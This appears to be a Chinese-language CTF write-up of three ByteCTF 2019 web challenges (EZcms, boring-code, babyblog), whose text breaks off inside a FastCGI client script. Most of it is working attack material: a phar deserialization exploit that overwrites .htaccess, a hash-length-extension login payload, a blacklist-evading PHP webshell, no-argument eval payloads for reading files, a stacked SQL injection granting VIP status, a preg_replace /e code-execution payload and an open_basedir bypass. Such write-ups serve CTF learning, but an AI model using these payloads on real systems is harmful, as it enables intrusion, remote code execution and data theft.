bytectf_web

EZcms

https://www.cnblogs.com/wfzWebSecuity/p/11527392.html
https://github.com/glzjin/bytectf_2019_ezcms
http://www.lovei.org/archives/bytectf2019.html

考點為hash長度擴展+phar反序列化
首先掃描一下目錄,可以發現源碼泄露。掃了一眼,其中config.php如下:

<?php
session_start();
error_reporting(0);
$sandbox_dir = 'sandbox/'. md5($_SERVER['REMOTE_ADDR']);
global $sandbox_dir;

function login(){

    $secret = "********";
    setcookie("hash", md5($secret."adminadmin"));
    return 1;

}

function is_admin(){
    $secret = "********";
    $username = $_SESSION['username'];
    $password = $_SESSION['password'];
    if ($username == "admin" && $password != "admin"){
        if ($_COOKIE['user'] === md5($secret.$username.$password)){
            return 1;
        }
    }
    return 0;
}

class Check{
    public $filename;

    function __construct($filename)
    {
        $this->filename = $filename;
    }

    function check(){
        $content = file_get_contents($this->filename);
        $black_list = ['system','eval','exec','+','passthru','`','assert'];
        foreach ($black_list as $k=>$v){
            if (stripos($content, $v) !== false){
                die("your file make me scare");
            }
        }
        return 1;
    }
}

class File{

    public $filename;
    public $filepath;
    public $checker;

    function __construct($filename, $filepath)
    {
        $this->filepath = $filepath;
        $this->filename = $filename;
    }

    public function view_detail(){

        if (preg_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath)){
            die("nonono~");
        }
        $mine = mime_content_type($this->filepath);
        $store_path = $this->open($this->filename, $this->filepath);
        $res['mine'] = $mine;
        $res['store_path'] = $store_path;
        return $res;

    }

    public function open($filename, $filepath){
        $res = "$filename is in $filepath";
        return $res;
    }

    function __destruct()
    {
        if (isset($this->checker)){
            $this->checker->upload_file();
        }
    }

}

class Admin{
    public $size;
    public $checker;
    public $file_tmp;
    public $filename;
    public $upload_dir;
    public $content_check;

    function __construct($filename, $file_tmp, $size)
    {
        $this->upload_dir = 'sandbox/'.md5($_SERVER['REMOTE_ADDR']);
        if (!file_exists($this->upload_dir)){
            mkdir($this->upload_dir, 0777, true);
        }
        if (!is_file($this->upload_dir.'/.htaccess')){
            file_put_contents($this->upload_dir.'/.htaccess', 'lolololol, i control all');
        }
        $this->size = $size;
        $this->filename = $filename;
        $this->file_tmp = $file_tmp;
        $this->content_check = new Check($this->file_tmp);
        $profile = new Profile();
        $this->checker = $profile->is_admin();
    }

    public function upload_file(){

        if (!$this->checker){
            die('u r not admin');
        }
        $this->content_check -> check();
        $tmp = explode(".", $this->filename);
        $ext = end($tmp);
        if ($this->size > 204800){
            die("your file is too big");
        }
        move_uploaded_file($this->file_tmp, $this->upload_dir.'/'.md5($this->filename).'.'.$ext);
    }

    public function __call($name, $arguments)
    {

    }
}

class Profile{

    public $username;
    public $password;
    public $admin;

    public function is_admin(){
        $this->username = $_SESSION['username'];
        $this->password = $_SESSION['password'];
        $secret = "********";
        if ($this->username === "admin" && $this->password != "admin"){
            if ($_COOKIE['user'] === md5($secret.$this->username.$this->password)){
                return 1;
            }
        }
        return 0;

    }
    function __call($name, $arguments)
    {
        $this->admin->open($this->username, $this->password);
    }
}  

hash長度擴展很簡單,hashPump搞一下就ok了,然后再在請求頭中放上新的cookie

然后應該是文件上傳了,但是沒有解析點,所以還是利用.htaccess來解決,但是代碼中已經有了.htaccess,所以我們需要覆蓋掉已有的文件來重新寫一個.htaccess。所以需要phar反序列化來完成文件的覆蓋。
所以我們需要找到文件操作的函數,來觸發phar反序列化。
view.php中不難發現,view_detail方法中有用到mime_content_type


phar反序列化的利用鏈

  1. 構造一個File類,__construct為將checker指向一個Profile對象,如下:
class File{
    public $filename;
    public $filepath;
    public $checker;
    function __construct($filename, $filepath)
    {
        $this->checker = new Profile();
    }
}
  1. 此時服務器反序列化File對象的時候,會調用File__destruct,即
    function __destruct()
    {
        if (isset($this->checker)){
            $this->checker->upload_file();
        }
    }
  1. 但是Profile類并沒有upload_file(),在對象中調用一個不可訪問方法時,__call就會被調用
    function __call($name, $arguments)
    {
        $this->admin->open($this->username, $this->password);
    }
  1. 我們也可以重新構造一個Profile類,來將$admin,$username,$password全部重寫
class Profile{

    public $username;
    public $password;
    public $admin;

    function __construct(){
        $this->admin = 
        $this->username = 
        $this->password = 
    }
}
  1. 因為三個變量都是可控的,所以我們可以通過控制admin變量來調用所有內置類的open方法。fuzz一下,所有有open方法的類(以后遇到需要用到內置類的同名方法時也能夠進行快速fuzz)
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
    $arr_func = get_class_methods($class);
    foreach ($arr_func as $func) {
        if($func == "open"){
            echo $class . " " .$func."\n";
        }
    }
}
?>


其中ziparchive以及ziparchive::open

  1. 所以Profile中三個變量分別為
class Profile{

    public $username;
    public $password;
    public $admin;

    function __construct(){
        $this->admin = new ZipArchive();
        $this->username = "/var/www/html/sandbox/xxx/.htaccess";
        $this->password = ZIPARCHIVE::OVERWRITE;
    }
}

所以最后的exp為

<?php
class File{
    public $filename;
    public $filepath;
    public $checker;
    function __construct($filename, $filepath)
    {
        $this->checker = new Profile();
    }
}

class Profile{

    public $username;
    public $password;
    public $admin;

    function __construct(){
        $this->admin = new ZipArchive();
        $this->username = "/var/www/html/sandbox/xxx/.htaccess";
        $this->password = ZIPARCHIVE::OVERWRITE;
    }
}

$exception = new File();
@unlike('vul.phar');
$phar = new Phar("vul.phar");  
$phar->startBuffering();  
$phar->addFromString("test.txt", "test");   
$phar->setStub("<?php__HALT_COMPILER(); ?>");  
$phar->setMetadata($exception);
$phar->stopBuffering();
?>

然后是上傳木馬的時候會進行檢查關鍵詞

    function check(){
        $content = file_get_contents($this->filename);
        $black_list = ['system','eval','exec','+','passthru','`','assert'];
        foreach ($black_list as $k=>$v){
            if (stripos($content, $v) !== false){
                die("your file make me scare");
            }
        }
        return 1;
    }

關鍵詞用.連接即可。

wp

訪問頁面,獲得hash,使用hashpump


\替換成%,登錄時賬號為admin,密碼為admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%90%00%00%00%00%00%00%00zz
upload.php頁面,上傳木馬文件

<?php
$a="syste";
$b="m";
$c=$a.$b;
$d=$c($_REQUEST['a']);
?>

上傳時將cookie中的hash改成user=f03071a6479f4b51edf874f785c28909

利用剛才的exp.php生成vul.phar文件,這里會報錯表示phar readonly,需要去php.ini中將phar readonly選項前面注釋去掉,且設為Off,生成的vul.phar改成vul.txt

再次上傳vul.txt,同樣要更改cookie

利用filter繞過對phar的過濾 (見suctf2019),上傳之后利用php://filter/resource=phar://解析,之后可以發現.htaccess已經消失

view.php?filename=2dab927c19ee49f27ba22d578e2c28c5.txt&filepath=php://filter/resource=phar://./sandbox/a76ab7c1a624927bc33996bdb8e5d69f/2dab927c19ee49f27ba22d578e2c28c5.txt


這時候不能訪問upload.php,不然又會重新生成.htaccess文件。直接訪問木馬文件,得到shell

boring-code

http://www.guildhab.top/?p=1077
https://www.cnblogs.com/wfzWebSecuity/p/11527392.html
https://xz.aliyun.com/t/6305#toc-3
http://www.zyzilxy.top:1220/2019/09/08/bytectf-web-wpmisc-wp/

題目源碼如下:

<?php
function is_valid_url($url) {
    if (filter_var($url, FILTER_VALIDATE_URL)) {
        if (preg_match('/data:\/\//i', $url)) {
            return false;
        }
        return true;
    }
    return false;
}

if (isset($_POST['url'])){
    $url = $_POST['url'];
    if (is_valid_url($url)) {
        $r = parse_url($url);
        if (preg_match('/baidu\.com$/', $r['host'])) {
            $code = file_get_contents($url);
            if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
                if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
                    echo 'bye~';
                } else {
                    eval($code);
                }
            }
        } else {
            echo "error: host not allowed";
        }
    } else {
        echo "error: invalid url";
    }
}else{
    highlight_file(__FILE__);
}

代碼分析

可以發現大致可以分為兩層:

  1. 如何構造一個可以繞過filter_var()preg_match()file_get_contents()的URL
  2. 如何構造一個無參的,類似a(b(c))這個樣式的shell

首先我們先考慮第一層
繞過filter_var()preg_match()file_get_contents(),可以參考:

  1. https://www.cnblogs.com/wfzWebSecuity/p/11139832.html
  2. https://v0w.top/2018/11/23/SSRF-notes/#2-parse-url%E4%B8%8Elibcurl%E5%AF%B9curl%E7%9A%84%E8%A7%A3%E6%9E%90%E5%B7%AE%E5%BC%82

上述文章主要針對exec(curl -s -v)以及file_get_contents()這兩種請求方式進行分析:
其中exec(curl -s -v),這種請求方式的,繞過filter_var()preg_match()主要靠parse_url()libcurlurl的解析差異。
但是如果是用file_get_contents()來請求url,我們只知道一種方式同時繞過上述三個函數,就是利用data://偽協議來實施XSS,payload可以為data://baidu.com/plain;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pgo=

但是data偽協議被過濾了。
目前我知道有幾種方法:

  1. 氪金購買一個xxxbaidu.com的域名
  2. 使用百度網盤來生成惡意代碼的下載鏈接,來繞過百度域名的限制
    上傳一個惡意腳本到網盤,使用f12,可以在network里找到文件鏈接
    該鏈接既滿足遠程文件的讀取,又
    可以繞過第一層的限制
https://pcsdata.baidu.com/file/56f6fccae921d07f3c16ec128f50ccc5?fid=1512747330-250528-756792909588834&rt=pr&sign=FDtAER-DCb740ccc5511e5e8fedcff06b081203-GH3j%2FCsuxRONbQnQvsCxyst4cb4%3D&expires=8h&chkv=0&chkbd=0&chkpc=&dp-logid=6277347536586414989&dp-callid=0&dstime=1569656941&r=291388556&vip=0&use=1&channel=chunlei&web=1&app_id=250528&bdstoken=b471aadce60e975ee5748587faa5e9e3&logid=MTU2OTY1Njk0MTk1MDAuMzk1MzE0MTE3MzI2NzI0Nw==&clienttype=0
  1. 百度url的跳轉

接下來來看第二層

if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
               if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
                   echo 'bye~';
               } else {
                   eval($code);
               }
           }

要求構造一個無參的shell,類似a(b(c()))這種形式,這里可以參考一葉飄零師傅,但是題目中又把帶et全過濾了,所以有get的函數全部不能使用。

題目提示說flag在上層index.php中,即整個網站的目錄結構為

fuzz一下能用的函數

<?php
$arr_fun = array();
$j = 0;
for($i=0;$i<count(get_defined_functions()['internal']);$i++){
    if(!preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i',get_defined_functions()['internal'][$i])){
        $arr_fun[$j]=get_defined_functions()['internal'][$i];
        $j++;
    }
}
var_dump($arr_fun)
?>


能用的卻不多。
首先如果想要讀取上層目錄的文件,..是不可少的。我們需要知道的是scandir(getcwd())這個函數會將當前目錄下所有文件都放在一個數組中返回,但是getcwd()使用不了,我們可以用.來表示當前目錄,如下圖:

其中數組第0個元素是.,而第1個元素就是..,所以我們可以用next(scandir('.'))來獲取..



因為不能帶參數,所以.也不行,所以我們有沒有無參的函數可以獲得.呢?這里有兩種方法:

  1. localeconv()返回一個包含本地數字及貨幣格式信息的數組。其中第0個就是.這時候再結合current()或者pos()來獲得數組指定元素,默認就是第0個。

  2. crypt(serialize(array()))首先定義一個數組 , 然后對其進行序列化操作 , 輸出序列化字符串 , 這里沒什么問題 . 然后就用到一個非常關鍵的函數 : crypt()。該函數是hash函數,主要是,上述結果中有可能會在字符串結尾產生一個.。然后我們可以再利用chr(ord(strrev())),其中chr(ord())可以將字符串的第一個字符取出來。這樣我們也可以完成.的生成

ord() : 解析 string 二進制值第一個字節為 0 到 255 范圍的無符號整型類型( 不嚴禁的說就是將字符串第一個字符轉換為 ASCII 編碼 )
chr() : 返回相對應于 ASCII 所0指定的單個字符 , 該函數與 ord() 是對應的~

接下來是目錄切換
chdir()來完成目錄的轉換,但是chdir()返回值是bool,緊接著三個方法:

  1. 我們需要接下來的函數是輸入bool,輸出.來讓我們可以進行文件讀取的。

    這里需要用到time()+ localtime()函數ByteCTF 2019 WriteUp By W&M
time() : 返回自從 Unix 紀元( 格林威治時間 1970 年 1 月 1 日 00:00:00 )到當前時間的秒數 , 也就是返回一個時間戳
localtime() : 以數值數組和關聯數組的形式輸出本地時間 . 

time() 的參數為 void 也就是說引入任意的參數都不會影響 , 其輸出( 不用去管那個警告 ) , 但是返回的時間戳無法成為" . "
localtime() 數組,可以提取出秒數的值,用chr轉換為字符串.,即在 46s 時 chr(pos(localtime()))就會返回 ” . ”


再根據readfile(end('.'))讀取當前目錄最后一個文件,即index.php,所以最后payload

echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));
  1. 上述payload需要多發幾次,讓時間剛好卡在46秒。除了用時間函數來獲取46這個數字之外,還可以用各種數學的方法來獲得46。ByteCTF 2019 WriteUp Kn0ck
    核心思路是:phpvesion()會獲取當前的php版本號,然后使用floor()來取得第一個數字(7)。(反正我只能說真的是神仙
    給個payload
ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))
sqrt() : 返回一個數字的平方根
tan() : 返回一個數字的正切
cosh() : 返回一個數字的雙曲余弦
sinh() : 返回一個數字的雙曲正弦
ceil() : 返回不小于一個數字的下一個整數 , 也就是向上取整


再通過chr()函數就可以返回ASCII編碼為 46 的字符 , 也就為. , 后面的步驟就和之前一樣 , 跳轉到根目錄 , 然后讀取index.php文件。

  1. 剛才獲得chdir()返回的bool,然后可以利用if語句來進行當前目錄下的文件的讀取,payload如下:
if(chdir(next(scandir(pos(localeconv())))))readfile(end(scandir(pos(localeconv()))));

babyblog

老規矩,掃描得到源碼

漏洞分析

首先注意到下面兩段代碼,分別來自writing.phpedit.php

if(isset($_POST['title']) && isset($_POST['content'])){
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql->query("insert into article (userid,title,content) values (" . $_SESSION['id'] . ", '$title','$content');");
    exit("<script>alert('Posted successfully.');location.href='index.php';</script>");
}else{
    include("templates/writing.html");
    exit();
}
if($_SESSION['id'] == $row['userid']){
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql->query("update article set title='$title',content='$content' where title='" . $row['title'] . "';");
    exit("<script>alert('Edited successfully.');location.href='index.php';</script>");
}else{
    exit("<script>alert('You do not have permission.');history.go(-1);</script>");
    }

第一段代碼是將titlecontent經過addslashes()過濾之后插入數據庫之中。

$sql->query("insert into article (userid,title,content) values (" . $_SESSION['id'] . ", '$title','$content');");

第二段代碼直接將數據庫的title查詢出來直接拼接到update語句中

$sql->query("update article set title='$title',content='$content' where title='" . $row['title'] . "';");

這里存在一個二次注入,我們可以將payload通過writing.php寫入庫中,再通過editing.php重新拼接起來。
但是config.php中將postget方法所傳遞的參數給加了一層waf

function SafeFilter(&$arr){   
    foreach ($arr as $key => $value) {
        if (!is_array($value)){
            $filter = "benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\\(|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\")|(\+|-|~|!|@:=|" . urldecode('%0B') . ").+?)FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
            if(preg_match('/' . $filter . '/is', $value)){
                exit("<script>alert('Failure!Do not use sensitive words.');location.href='index.php';</script>");
            }
        }else{
            SafeFilter($arr[$key]);
        }
    }
}

$_GET && SafeFilter($_GET);
$_POST && SafeFilter($_POST);

這里我們可以根據這里的正則,在本地測試一下自己的代碼是否能過waf

<?php
function SafeFilter(&$arr){   
    foreach ($arr as $key => $value) {
        if (!is_array($value)){
            $filter = "benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\\(|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\")|(\+|-|~|!|@:=|" . urldecode('%0B') . ").+?)FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
            if(preg_match('/' . $filter . '/is', $value)){
                echo preg_replace('/'.$filter.'/is',"@@@",$value);
                echo "1111";
            }
            else{
                echo "222";
            }
        }else{
            SafeFilter($arr[$key]);
        }
    }
}

$_GET && SafeFilter($_GET);
?>

其中我們知道,當我們注冊一個用戶的時候,我們的isvip屬性是默認設為0的

$sql->query("insert into users (username,password,isvip) values ('$username', '$password',0);");

這里可以用兩種方法得到isvip值為1的用戶。

  1. PDO在php5.3以后是支持堆疊查詢,使用堆疊注入。payload如下:
Err0rzz';SET @SQL=0x757064617465207573657273207365742069737669703d3120776865726520757365726e616d653d2245727230727a7a223b;PREPARE a FROM @SQL;EXECUTE a;#

其中那串十六進制是update users set isvip=1 where username="Err0rzz";




  1. 該方法需要數據庫中原本就有isvip為1的用戶,從而注得賬號密碼,這里利用異或注入1'^(ascii(substr((select(group_concat(schema_name)) from (information_schema.schemata)),1,1))>1)^'1,完整的注入腳本https://xz.aliyun.com/t/6324#toc-5

接下來可以看到replace.php中有個可以代碼執行的函數preg_replace()

$content = addslashes(preg_replace("/" . $_POST['find'] . "/", $_POST['replace'], $row['content']));

$replace會被當做代碼執行,而且因為php版本5.4以下都可以用%00來截斷,所以我們可以用%00來截斷掉
"/" . $_POST['find'] . "/"后面的那個/
所以最后的payload如下:

$_POST['find']=.*/e%00  
$_POST['replace']=phpinfo(); 


接下來通過copy命令進行shell寫入

<?php
$file_list = array();
// normal files
$it = new DirectoryIterator("glob:///*");
foreach($it as $f) {
    $file_list[] = $f->__toString();
}
// special files (starting with a dot(.))
$it = new DirectoryIterator("glob:///.*");
foreach($it as $f) {
    $file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
        echo "{$f}<br/>";
}
?>

包含該文件可以繞過open_dir的限制,瀏覽到根目錄文件


用同樣的方法上傳FastCGI腳本

<?php
class TimedOutException extends Exception {
}
class ForbiddenException extends Exception {
}
class Client {
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const ABORT_REQUEST = 2;
const END_REQUEST = 3;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER = 1;
const AUTHORIZER = 2;
const FILTER = 3;
const REQUEST_COMPLETE = 0;
const CANT_MPX_CONN = 1;
const OVERLOADED = 2;
const UNKNOWN_ROLE = 3;
const MAX_CONNS = 'MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = 'MPXS_CONNS';
const HEADER_LEN = 8;
const REQ_STATE_WRITTEN = 1;
const REQ_STATE_OK = 2;
const REQ_STATE_ERR = 3;
const REQ_STATE_TIMED_OUT = 4;
private $_sock = null;
private $_host = null;
private $_port = null;
private $_keepAlive = false;
private $_requests = array();
private $_persistentSocket = false;
private $_connectTimeout = 5000;
private $_readWriteTimeout = 5000;
public function __construct( $host, $port ) {
    $this->_host = $host;
    $this->_port = $port;
}
public function setKeepAlive( $b ) {
          $this->_keepAlive = (boolean) $b;
          if ( ! $this->_keepAlive && $this->_sock ) {
              fclose( $this->_sock );
    }
}
public function getKeepAlive() {
    return $this->_keepAlive;
}
public function setPersistentSocket( $b ) {
          $was_persistent          = ( $this->_sock && $this->_persistentSocket );
          $this->_persistentSocket = (boolean) $b;
          if ( ! $this->_persistentSocket && $was_persistent ) {
              fclose( $this->_sock );
    }
}
public function getPersistentSocket() {
    return $this->_persistentSocket;
}
public function setConnectTimeout( $timeoutMs ) {
          $this->_connectTimeout = $timeoutMs;
}
public function getConnectTimeout() {
    return $this->_connectTimeout;
}
public function setReadWriteTimeout( $timeoutMs ) {
          $this->_readWriteTimeout = $timeoutMs;
          $this->set_ms_timeout( $this->_readWriteTimeout );
}
public function getReadWriteTimeout() {
    return $this->_readWriteTimeout;
}
private function set_ms_timeout( $timeoutMs ) {
          if ( ! $this->_sock ) {
        return false;
    }
    return stream_set_timeout( $this->_sock, floor( $timeoutMs / 1000 ), ( $timeoutMs % 1000 ) * 1000 );
}
private function connect() {
    if ( ! $this->_sock ) {
              if ( $this->_persistentSocket ) {
                  $this->_sock = pfsockopen( $this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout / 1000 );
              } else {
                  $this->_sock = fsockopen( $this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout / 1000 );
              }
              if ( ! $this->_sock ) {
                  throw new Exception( 'Unable to connect to FastCGI application: ' . $errstr );
              }
              if ( ! $this->set_ms_timeout( $this->_readWriteTimeout ) ) {
            throw new Exception( 'Unable to set timeout on socket' );
        }
    }
}
private function buildPacket( $type, $content, $requestId = 1 ) {
          $clen = strlen( $content );
    return chr( self::VERSION_1 )         /* version */
           . chr( $type )                    /* type */
                 . chr( ( $requestId >> 8 ) & 0xFF ) /* requestIdB1 */
           . chr( $requestId & 0xFF )        /* requestIdB0 */
                 . chr( ( $clen >> 8 ) & 0xFF )     /* contentLengthB1 */
           . chr( $clen & 0xFF )             /* contentLengthB0 */
                 . chr( 0 )                        /* paddingLength */
                 . chr( 0 )                        /* reserved */
                 . $content;                     /* content */
}
private function buildNvpair( $name, $value ) {
    $nlen = strlen( $name );
    $vlen = strlen( $value );
    if ( $nlen < 128 ) {
              /* nameLengthB0 */
              $nvpair = chr( $nlen );
          } else {
              /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
              $nvpair = chr( ( $nlen >> 24 ) | 0x80 ) . chr( ( $nlen >> 16 ) & 0xFF ) . chr( ( $nlen >> 8 ) & 0xFF ) . chr( $nlen & 0xFF );
          }
          if ( $vlen < 128 ) {
        /* valueLengthB0 */
        $nvpair .= chr( $vlen );
    } else {
        /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
        $nvpair .= chr( ( $vlen >> 24 ) | 0x80 ) . chr( ( $vlen >> 16 ) & 0xFF ) . chr( ( $vlen >> 8 ) & 0xFF ) . chr( $vlen & 0xFF );
    }
    /* nameData & valueData */
    return $nvpair . $name . $value;
}
private function readNvpair( $data, $length = null ) {
    $array = array();
          if ( $length === null ) {
        $length = strlen( $data );
    }
    $p = 0;
          while ( $p != $length ) {
              $nlen = ord( $data{$p ++} );
              if ( $nlen >= 128 ) {
                  $nlen = ( $nlen & 0x7F << 24 );
                  $nlen |= ( ord( $data{$p ++} ) << 16 );
                  $nlen |= ( ord( $data{$p ++} ) << 8 );
                  $nlen |= ( ord( $data{$p ++} ) );
              }
              $vlen = ord( $data{$p ++} );
              if ( $vlen >= 128 ) {
                  $vlen = ( $nlen & 0x7F << 24 );
                  $vlen |= ( ord( $data{$p ++} ) << 16 );
                  $vlen |= ( ord( $data{$p ++} ) << 8 );
                  $vlen |= ( ord( $data{$p ++} ) );
              }
              $array[ substr( $data, $p, $nlen ) ] = substr( $data, $p + $nlen, $vlen );
              $p                                   += ( $nlen + $vlen );
    }
    return $array;
}
private function decodePacketHeader( $data ) {
          $ret                  = array();
          $ret['version']       = ord( $data{0} );
          $ret['type']          = ord( $data{1} );
          $ret['requestId']     = ( ord( $data{2} ) << 8 ) + ord( $data{3} );
          $ret['contentLength'] = ( ord( $data{4} ) << 8 ) + ord( $data{5} );
          $ret['paddingLength'] = ord( $data{6} );
          $ret['reserved']      = ord( $data{7} );
    return $ret;
}
private function readPacket() {
    if ( $packet = fread( $this->_sock, self::HEADER_LEN ) ) {
        $resp            = $this->decodePacketHeader( $packet );
              $resp['content'] = '';
        if ( $resp['contentLength'] ) {
                  $len = $resp['contentLength'];
                  while ( $len && ( $buf = fread( $this->_sock, $len ) ) !== false ) {
                      $len             -= strlen( $buf );
                      $resp['content'] .= $buf;
                  }
              }
              if ( $resp['paddingLength'] ) {
            $buf = fread( $this->_sock, $resp['paddingLength'] );
        }
        return $resp;
    } else {
        return false;
    }
}
public function getValues( array $requestedInfo ) {
          $this->connect();
          $request = '';
          foreach ( $requestedInfo as $info ) {
              $request .= $this->buildNvpair( $info, '' );
          }
          fwrite( $this->_sock, $this->buildPacket( self::GET_VALUES, $request, 0 ) );
          $resp = $this->readPacket();
          if ( $resp['type'] == self::GET_VALUES_RESULT ) {
              return $this->readNvpair( $resp['content'], $resp['length'] );
    } else {
        throw new Exception( 'Unexpected response type, expecting GET_VALUES_RESULT' );
    }
}
public function request( array $params, $stdin ) {
    $id = $this->async_request( $params, $stdin );
    return $this->wait_for_response( $id );
}
public function async_request( array $params, $stdin ) {
    $this->connect();
          // Pick random number between 1 and max 16 bit unsigned int 65535
          $id = mt_rand( 1, ( 1 << 16 ) - 1 );
    // Using persistent sockets implies you want them keept alive by server!
    $keepAlive     = intval( $this->_keepAlive || $this->_persistentSocket );
          $request       = $this->buildPacket( self::BEGIN_REQUEST
              , chr( 0 ) . chr( self::RESPONDER ) . chr( $keepAlive ) . str_repeat( chr( 0 ), 5 )
        , $id
          );
          $paramsRequest = '';
    foreach ( $params as $key => $value ) {
              $paramsRequest .= $this->buildNvpair( $key, $value, $id );
          }
          if ( $paramsRequest ) {
        $request .= $this->buildPacket( self::PARAMS, $paramsRequest, $id );
    }
    $request .= $this->buildPacket( self::PARAMS, '', $id );
          if ( $stdin ) {
        $request .= $this->buildPacket( self::STDIN, $stdin, $id );
    }
    $request .= $this->buildPacket( self::STDIN, '', $id );
          if ( fwrite( $this->_sock, $request ) === false || fflush( $this->_sock ) === false ) {
        $info = stream_get_meta_data( $this->_sock );
        if ( $info['timed_out'] ) {
                  throw new TimedOutException( 'Write timed out' );
              }
              // Broken pipe, tear down so future requests might succeed
              fclose( $this->_sock );
        throw new Exception( 'Failed to write request to socket' );
    }
    $this->_requests[ $id ] = array(
        'state'    => self::REQ_STATE_WRITTEN,
        'response' => null
    );
    return $id;
}
public function wait_for_response( $requestId, $timeoutMs = 0 ) {
    if ( ! isset( $this->_requests[ $requestId ] ) ) {
        throw new Exception( 'Invalid request id given' );
    }
    if ( $this->_requests[ $requestId ]['state'] == self::REQ_STATE_OK
         || $this->_requests[ $requestId ]['state'] == self::REQ_STATE_ERR
    ) {
        return $this->_requests[ $requestId ]['response'];
    }
    if ( $timeoutMs > 0 ) {
              // Reset timeout on socket for now
              $this->set_ms_timeout( $timeoutMs );
          } else {
              $timeoutMs = $this->_readWriteTimeout;
    }
    $startTime = microtime( true );
          do {
              $resp = $this->readPacket();
              if ( $resp['type'] == self::STDOUT || $resp['type'] == self::STDERR ) {
                  if ( $resp['type'] == self::STDERR ) {
                      $this->_requests[ $resp['requestId'] ]['state'] = self::REQ_STATE_ERR;
                  }
                  $this->_requests[ $resp['requestId'] ]['response'] .= $resp['content'];
              }
              if ( $resp['type'] == self::END_REQUEST ) {
                  $this->_requests[ $resp['requestId'] ]['state'] = self::REQ_STATE_OK;
                  if ( $resp['requestId'] == $requestId ) {
                      break;
                  }
              }
              if ( microtime( true ) - $startTime >= ( $timeoutMs * 1000 ) ) {
                  // Reset
                  $this->set_ms_timeout( $this->_readWriteTimeout );
                  throw new Exception( 'Timed out' );
              }
          } while ( $resp );
    if ( ! is_array( $resp ) ) {
              $info = stream_get_meta_data( $this->_sock );
              // We must reset timeout but it must be AFTER we get info
              $this->set_ms_timeout( $this->_readWriteTimeout );
              if ( $info['timed_out'] ) {
                  throw new TimedOutException( 'Read timed out' );
              }
              if ( $info['unread_bytes'] == 0
                   && $info['blocked']
                   && $info['eof'] ) {
                  throw new ForbiddenException( 'Not in white list. Check listen.allowed_clients.' );
              }
              throw new Exception( 'Read failed' );
          }
          // Reset timeout
          $this->set_ms_timeout( $this->_readWriteTimeout );
          switch ( ord( $resp['content']{4} ) ) {
        case self::CANT_MPX_CONN:
            throw new Exception( 'This app can't multiplex [CANT_MPX_CONN]' );
            break;
        case self::OVERLOADED:
            throw new Exception( 'New request rejected; too busy [OVERLOADED]' );
            break;
        case self::UNKNOWN_ROLE:
            throw new Exception( 'Role value not known [UNKNOWN_ROLE]' );
            break;
        case self::REQUEST_COMPLETE:
            return $this->_requests[ $requestId ]['response'];
    }
}
}
$client    = new Client("unix:///tmp/php-cgi.sock", -1);
  $php_value = "open_basedir = /";
$filepath  = '/tmp/readflag.php';
  $content   = 'Err0rzz';
echo $client->request(
      array(
          'GATEWAY_INTERFACE' => 'FastCGI/1.0',
          'REQUEST_METHOD'    => 'POST',
          'SCRIPT_FILENAME'   => $filepath,
    'SERVER_SOFTWARE'   => 'php/fcgiclient',
